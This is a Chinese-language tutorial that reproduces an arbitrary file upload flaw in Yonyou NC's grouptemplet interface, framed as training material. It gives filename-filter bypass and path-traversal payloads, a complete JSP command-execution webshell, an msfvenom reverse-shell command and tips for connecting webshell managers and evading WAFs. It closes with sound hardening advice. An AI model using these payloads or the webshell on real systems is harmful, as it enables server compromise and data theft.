用友NC任意文件上传漏洞深度剖析与实战复现指南
1. 项目概述:一次典型的企业级应用漏洞深度剖析
最近在梳理一些历史漏洞案例,准备内部安全培训材料时,又翻到了用友NC这个老熟人。作为国内ERP领域的巨头,其产品的安全性牵动着无数企业的神经。今天要拆解的这个漏洞,编号XVE-2024-8857,涉及grouptemplet接口的任意文件上传。别看它只是一个文件上传点,在特定配置下,它可能成为攻击者打入内网、获取服务器权限的致命入口。我之所以选择复现并详细记录这个漏洞,是因为它非常典型——它暴露了在复杂业务系统开发中,开发人员对上传功能的风险认知不足、过滤机制存在逻辑缺陷等共性问题。对于安全研究人员,这是一个绝佳的分析样本;对于企业运维和开发人员,这是一次深刻的安全警示。无论你是想了解漏洞原理、学习手工复现技巧,还是想为自己的系统排查类似风险,这篇从实战角度出发的复盘笔记,应该都能给你带来一些实实在在的参考。
2. 漏洞背景与核心原理深度解析
2.1 用友NC系统与漏洞接口定位
用友NC(New Century)是一款面向大型企业集团的高端ERP产品,采用B/S架构,通常使用Java开发,运行在Tomcat、WebLogic等中间件上。其系统庞大,模块众多,grouptemplet(群组模板)功能通常是系统内用于管理或上传某些模板文件的模块。攻击者发现的这个漏洞接口,路径通常类似于/uap/nc/xxx/grouptemplet(具体路径可能因版本而异),其本意是允许授权用户上传模板文件以供业务使用。
问题的核心在于,这个接口在对上传文件进行校验时,存在严重的逻辑缺陷。它可能只在前端JavaScript进行了简单的文件扩展名检查,或者在后端虽然进行了检查,但检查逻辑可以被绕过。例如,可能使用了不完整的黑名单(如只拦截.jsp,但放过了.jspx、.jsp.),或者在对文件名进行处理(如去除空格、特殊字符)时,产生了非预期的结果,导致攻击者可以上传包含恶意代码的脚本文件(如JSP、JSPX文件)。
2.2 任意文件上传漏洞的通用危害链
理解这个漏洞的危害,需要把它放到整个攻击链里看。攻击者利用此漏洞的典型路径如下:
- 漏洞探测与利用:攻击者发现未授权或已授权(通过弱口令等其他漏洞获取)可访问的
grouptemplet接口,构造特殊的HTTP请求,绕过过滤,成功将一句话木马(如JSP Webshell)上传到服务器指定目录。 - 权限获取:通过浏览器直接访问上传成功的Webshell文件地址,该文件会被服务器端的Java容器(如Tomcat)解析执行。攻击者从而获得了在服务器上执行任意命令的能力,权限等同于运行Tomcat服务的系统用户(如
tomcat用户)。 - 内网渗透:以被攻陷的服务器为跳板,攻击者可以进行内网扫描、横向移动,窃取数据库敏感数据(这正解释了热搜词中“用友nc 登陆can't get connection from database”可能是一种攻击后的异常现象,或是攻击者尝试连接数据库时触发的错误),甚至植入勒索病毒,对企业造成实质性损害。
这个漏洞的危险等级通常为“高危”或“严重”,因为它提供了直接的代码执行能力,是攻击者最喜爱的漏洞类型之一。
注意:本文所有复现操作均在**本地或授权授权的合规测试环境(如Vulhub靶场)**中进行,旨在帮助理解漏洞原理和提升防御能力。严禁对任何未授权系统进行测试或攻击。
3. 复现环境搭建与核心工具准备
3.1 靶场环境选择与部署
为了安全、可控地复现漏洞,我们不需要去找一个真实的用友NC系统。最佳实践是使用漏洞靶场。这里我推荐两种方式:
方案一:使用Vulhub一键搭建Vulhub是一个开源的漏洞复现环境集合,通过Docker Compose编排,可以快速搭建各种漏洞环境。虽然Vulhub官方可能尚未收录XVE-2024-8857,但其复现思路和工具准备是通用的。我们可以用一个类似的Java文件上传漏洞环境(如某个旧版Struts2的上传漏洞)来模拟和练习攻击手法。这能让我们专注于漏洞利用的本质,而非特定版本的安装。
# 假设我们使用一个存在上传漏洞的Java靶场 git clone https://github.com/vulhub/vulhub.git cd vulhub/某个java-upload-vuln-directory docker-compose up -d部署成功后,访问http://your-ip:8080即可看到靶场应用。
方案二:自行构建简易模拟环境如果你希望更贴近用友NC的架构,可以快速搭建一个Spring Boot或Servlet的Web应用,故意编写一个存在缺陷的文件上传接口。例如,创建一个UploadController,使用@RequestParam(“file”) MultipartFile file接收文件,但只检查文件名是否以.jsp结尾,而忽略了大小写、空格、双扩展名等绕过技巧。这种方式能让你从代码层面深刻理解漏洞成因。
3.2 必备工具清单及用途说明
工欲善其事,必先利其器。以下是复现此类漏洞的常用工具,我将它们分为探测、利用和辅助三类:
| 工具类别 | 工具名称 | 主要用途 | 关键参数/技巧 |
|---|---|---|---|
| 探测与抓包 | Burp Suite Community | 拦截、重放、修改HTTP请求,是发现和测试上传漏洞的核心。 | 配置浏览器代理(127.0.0.1:8080);在Proxy -> Intercept中捕获请求;使用Repeater模块反复测试。 |
| 浏览器开发者工具 (F12) | 快速查看前端代码、网络请求,禁用前端JS验证。 | Network标签页查看原始请求;Sources标签页查看前端过滤逻辑;可手动禁用JS。 | |
| 漏洞利用 | 中国蚁剑(AntSword)/哥斯拉(Godzilla) | 图形化Webshell管理工具,连接上传成功的木马,进行文件管理、命令执行等。 | 需要准备对应的JSP/PHP等木马;配置连接时注意密码、编码器与木马匹配。 |
| MSFVenom(Metasploit) | 生成各类Payload,包括JSP格式的命令执行木马。 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=端口 -f raw > shell.jsp | |
| 手工制作Webshell | 最灵活的方式,一个最简单的JSP Webshell可能只有几行代码。 | 例如:<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> | |
| 辅助与扫描 | Dirsearch / Gobuster | 目录扫描,用于发现潜在的grouptemplet或其他上传点。 | python3 dirsearch.py -u http://target.com -e jsp,do,action |
| Nmap | 端口与服务探测,了解目标服务器开放了哪些服务(如Tomcat默认8080)。 | nmap -sV -p 1-10000 target_ip |
实操心得:Burp Suite的Intruder模块在测试模糊绕过(如测试各种文件名后缀)时非常强大,但Community版有速度限制。对于初学者,熟练使用Repeater进行手工测试更能加深理解。另外,AntSword的插件生态丰富,安装“虚拟终端”插件后,操作体验接近真实Shell。
4. 漏洞复现过程全记录与深度分析
4.1 信息收集与漏洞点探测
复现的第一步是找到攻击入口。对于已知漏洞XVE-2024-8857,我们已知接口路径涉及grouptemplet。但在真实未知测试中,步骤会更复杂:
- 端口与服务识别:使用Nmap扫描目标,发现开放了8080端口,运行着Apache Tomcat服务。这初步确认了它是一个Java Web应用。
- 目录与接口发现:使用Dirsearch或Gobuster,结合常见路径字典(如
/uap/,/nc/,/portal/等用友常见路径),扫描Web目录。目标是发现像/uap/nc/xxx/grouptemplet这样的上传接口。有时,这些接口可能存在于JS文件或HTML注释中,需要仔细查看页面源码。 - 接口功能分析:通过浏览器访问疑似上传页面(如果有的话),上传一个正常文件(如图片),同时用Burp Suite抓包。观察请求的:
- URL路径:确认是否为漏洞接口。
- HTTP方法:通常是
POST。 - 参数名:文件内容对应的参数名,常见如
file、uploadFile、fileData等。 - 请求格式:通常是
multipart/form-data。 - 响应信息:成功或失败时,服务器返回的提示,可能隐含了过滤规则(如“文件类型不允许”)。
4.2 绕过技巧实战:从黑名单到文件写入
假设我们已经找到了上传接口http://target:8080/uap/nc/web/grouptemplet/upload,并且通过抓包看到了上传请求。现在开始尝试绕过。
4.2.1 初探:基础黑名单绕过很多系统的防御策略是黑名单,禁止上传.jsp,.jspx,.php等。我们可以尝试以下变种:
- 大小写绕过:
shell.Jsp、shell.JSP。在Windows服务器上,文件系统不区分大小写,这可能成功。 - 双写/嵌套扩展名:
shell.jsp.jpg、shell.jsp.jsp。如果后端只检查最后一次出现的.后面的后缀,或者检查逻辑有误,可能被绕过。 - 空格/点号绕过:
shell.jsp.(末尾加点)、shell.jsp(末尾加空格)。在某些处理逻辑中,这些字符可能在检查后被去除,导致实际存储的文件名变回shell.jsp。 - 利用解析特性:
shell.jsp;.jpg、shell.jsp%00.jpg(空字节截断,在特定老旧环境或配置下可能有效)。这些手法利用了服务器或中间件在解析文件名时的特性。
操作实录:
- 在Burp Repeater中,将抓到的上传包发送过来。
- 找到
filename=”normal.jpg”这部分,将其修改为filename=”shell.jsp;.jpg”。 - 发送请求,观察响应。如果返回了文件路径,如
/upload/temp/shell.jsp;.jpg,则尝试访问http://target:8080/upload/temp/shell.jsp;.jpg。关键点:Tomcat等容器可能将;后的内容视为参数,从而只解析shell.jsp部分,导致JSP代码被执行。
4.2.2 进阶:Content-Type与文件头欺骗有些系统不仅检查扩展名,还会检查HTTP请求头中的Content-Type,或者读取文件内容的头几个字节(魔数)。
- 修改Content-Type:将
Content-Type: image/jpeg与恶意JSP文件一起发送。这只能绕过极初级的前端或简单的后端检查。 - 添加文件头(魔术字节):在一个真实的JSP Webshell内容前面,加上图片的文件头,例如GIF的
GIF89a。制作方法可以用copy命令(Windows)或cat命令(Linux):
然后上传# Linux/Mac printf ‘GIF89a\n’ > fake.gif.jsp cat jsp_webshell.txt >> fake.gif.jspfake.gif.jsp。如果后端只进行了简单的文件头校验,可能会认为这是一个GIF文件而放行。但Tomcat在解析时,会根据.jsp扩展名将其当作JSP执行。
4.2.3 终极手段:路径遍历与自定义目录如果系统将上传文件保存到了可Web访问的目录(如Web根目录下的/upload/),那么上传Webshell就等于直接可以访问。更危险的情况是,如果上传功能允许自定义保存路径(通过参数控制),或者存在路径遍历漏洞,攻击者可能将文件写到更关键的目录,比如Web根目录本身。
- 尝试路径遍历:修改上传请求中的文件名参数为
filename=”../../../../webapps/ROOT/shell.jsp”。这试图让文件跳出预设的上传目录,直接写到Tomcat的根应用下。 - 查找已存在文件覆盖:有时系统允许覆盖已有文件。如果知道某个已存在的JSP文件路径(通过信息收集或错误信息泄露),可以尝试覆盖它。
注意事项:在实际复现中,一种方法不行就快速尝试下一种。Burp Suite的
Intruder模块可以自动化测试一个包含各种绕过Payload的字典,极大提高效率。但务必注意,频繁的恶意请求可能触发目标系统的WAF或入侵检测规则。
4.3 Webshell上传与连接验证
当绕过成功,服务器返回了上传文件的存储路径(例如:{“code”:0, “data”:{“path”:”/upload/20240527/abcdefg.jsp”}}),最关键的一步就到了。
准备Webshell:我们使用一个功能简单的JSP Webshell作为示例,内容如下,将其保存为
cmd.jsp:<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>这个Shell通过
cmd参数接收系统命令并执行回显。上传与访问:将
cmd.jsp的内容作为文件主体,利用前面找到的绕过方法(例如使用shell.jsp;.jpg的文件名),通过Burp Suite发送上传请求。成功后,根据返回的路径,在浏览器中访问:http://target:8080/upload/20240527/abcdefg.jsp?cmd=whoami。验证执行:如果页面返回了运行Tomcat服务的用户身份(如
tomcat或root),则证明漏洞复现成功,任意命令执行已实现。使用管理工具连接:为了更方便地操作,可以将这个Webshell地址配置到中国蚁剑中。在蚁剑中添加数据,URL填写完整的Webshell地址,连接密码留空(因为我们的简单Shell没有密码),编码器根据情况选择(默认通常可以),然后连接。连接成功后,即可在图形化界面中浏览服务器文件、执行终端命令等。
5. 漏洞根因分析与安全加固建议
5.1 代码层面问题溯源
通过复现过程,我们可以反向推断出用友NCgrouptemplet接口可能存在以下一个或多个编码缺陷:
- 未校验文件内容:仅根据客户端不可信的文件名(
filename)或Content-Type进行判断,没有对文件内容进行真正的格式校验(如图片文件头、文件幻数)。 - 黑名单机制不健全:使用的黑名单列表不完整,遗漏了
.jspx,.jspf等同样可执行的Java服务器页面扩展名,或者没有进行大小写统一处理。 - 文件名解析逻辑缺陷:在去除文件名中特殊字符(空格、点、分号)时,顺序或逻辑错误,导致过滤被绕过。例如,先去除空格,再检查后缀,那么
shell.jsp就能绕过。 - 目录控制缺失:上传文件后,使用了用户可控的输入(如原文件名)直接拼接生成存储路径,未进行规范化处理,导致了路径遍历漏洞。
- 权限控制缺失:该上传接口可能未与严格的会话认证、权限校验绑定,导致未授权访问或低权限用户越权使用。
5.2 企业级防御方案与加固措施
对于企业使用用友NC或其他自研系统,必须采取多层次的安全措施来防御此类漏洞:
1. 紧急缓解措施(运维侧)
- 升级与补丁:立即关注用友官方安全公告,为受影响的NC版本安装最新的安全补丁。这是最直接有效的方法。
- 临时屏蔽:如果无法立即升级,可在WAF(Web应用防火墙)或反向代理(如Nginx)层面,对包含
grouptemplet路径的请求进行拦截或严格检查。 - 权限最小化:确保运行Tomcat等中间件的系统用户(如
tomcat)权限尽可能低,禁止其执行高危命令、写入系统关键目录。
2. 根本性修复方案(开发侧)
- 白名单校验:将文件扩展名检查改为白名单机制,只允许上传业务必需的类型,如
.jpg,.png,.pdf,.docx。同时,在后端使用统一的、大小写不敏感的方式检查扩展名。// 示例:白名单检查 String[] allowedExt = {“jpg”, “png”, “pdf”, “docx”}; String fileExt = getFileExtension(filename).toLowerCase(); // 统一转小写 if (!Arrays.asList(allowedExt).contains(fileExt)) { return error(“文件类型不允许”); } - 文件内容校验:对于图片、文档等文件,应读取文件头部的魔数(Magic Number)进行真实性校验,而不仅仅依赖扩展名。
- 重命名与不可执行目录:上传文件后,使用随机生成的文件名(如UUID)替换原文件名,并强制指定安全的存储扩展名(如
.upload)。更重要的是,将上传目录设置为不可被Web服务器直接解析执行脚本的路径,或者通过配置(如Tomcat的default servlet)禁止执行该目录下的JSP等脚本。 - 安全框架:使用成熟的安全框架来处理文件上传,如Apache Commons FileUpload的严格配置,Spring框架的
MultipartFile结合自定义验证器。
3. 常态化安全监测
- 入侵检测:在服务器上部署HIDS(主机入侵检测系统),监控Web目录下是否有新的JSP/JSPX文件被创建,监控Tomcat进程是否执行了异常命令。
- 日志审计:确保应用和中间件的访问日志、错误日志完整开启并定期审计,特别关注对上传接口的异常访问和错误请求。
- 定期漏洞扫描与渗透测试:对线上系统定期进行专业的安全扫描和渗透测试,主动发现潜在风险。
6. 复现过程中的常见问题与排查技巧
在复现这类漏洞时,你可能会遇到各种“坑”。下面是我总结的一些常见问题及解决方法:
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| 上传返回成功,但访问404 | 1. 文件未上传到Web可访问目录。 2. 文件名被修改,路径预测错误。 3. 服务器对文件做了重命名或移动。 | 1. 仔细分析上传成功的响应报文,看是否返回了完整的URL或相对路径。 2. 尝试目录遍历,猜测常见上传路径,如 /upload/,/files/,/static/等。3. 如果可能,触发一个正常文件上传,观察其存储规律。 |
| 上传被拦截,返回“非法文件”等提示 | 1. 前端JS校验未绕过。 2. 后端有较强的黑名单或简单的内容检查。 | 1. 使用Burp Suite抓包,确认请求是从Burp发出,完全绕过浏览器。 2. 尝试更冷门的扩展名(如 .jspx,.jspf)、大小写、添加空格/点等绕过技巧。3. 尝试修改 Content-Type为image/jpeg等。 |
| 访问Webshell返回500错误或空白页 | 1. Webshell代码语法错误,与容器环境不兼容。 2. 服务器端有安全软件删除了恶意文件。 3. 文件内容在传输中被修改(如编码问题)。 | 1. 换用更简单、更通用的Webshell代码测试。 2. 上传一个纯文本文件测试是否成功,确认上传功能本身是否正常。 3. 检查Burp中发送的请求体,确保文件内容完整正确,特别是特殊字符的编码。 |
| 使用蚁剑/哥斯拉连接失败 | 1. Webshell密码或加密器不匹配。 2. 服务器网络策略禁止外部连接。 3. Webshell代码被WAF或安全组件拦截。 | 1. 先用浏览器直接带参数访问Webshell,确认其能正常执行命令。 2. 检查蚁剑连接配置,特别是URL、密码、编码器是否与Webshell类型对应。 3. 尝试使用更隐蔽的Webshell或自定义编码器。 |
| 命令执行成功但无回显 | 1. Webshell代码的回显部分有问题。 2. 服务器环境导致命令输出流异常。 | 1. 在Webshell中尝试输出一个简单字符串(如out.println(“test”);)测试回显功能。2. 尝试将命令输出重定向到Web目录下的一个文件,然后读取该文件内容。 |
独家避坑技巧:
- 从简单到复杂:不要一上来就用复杂的加密Webshell。先用一个最简单的、能执行
echo “test”的脚本来证明漏洞存在,再升级功能。 - 善用Burp的Compare功能:当你用一个正常文件上传成功,再用恶意文件上传失败时,用Burp的
Compare功能对比两个请求的原始数据,差异点可能就是过滤机制所在。 - 关注服务器错误日志:如果条件允许,查看Tomcat的
catalina.out或localhost.log日志,里面经常会记录JSP编译错误、安全拦截等信息,是极佳的调试线索。 - 理解中间件配置:Tomcat的
web.xml中配置了default servlet来处理静态文件,了解哪些URL模式由它处理,哪些由JSP servlet处理,有助于理解文件为何能或不能被解析执行。
复现漏洞的最终目的,绝非为了攻击。而是通过亲手实践,将抽象的安全威胁转化为具体、可感知的风险场景,从而更深刻地理解安全编码的重要性,并能在自己的项目中构建更坚固的防线。每一次成功的复现,都应该对应着一次对自身系统安全状况的审视和加固。
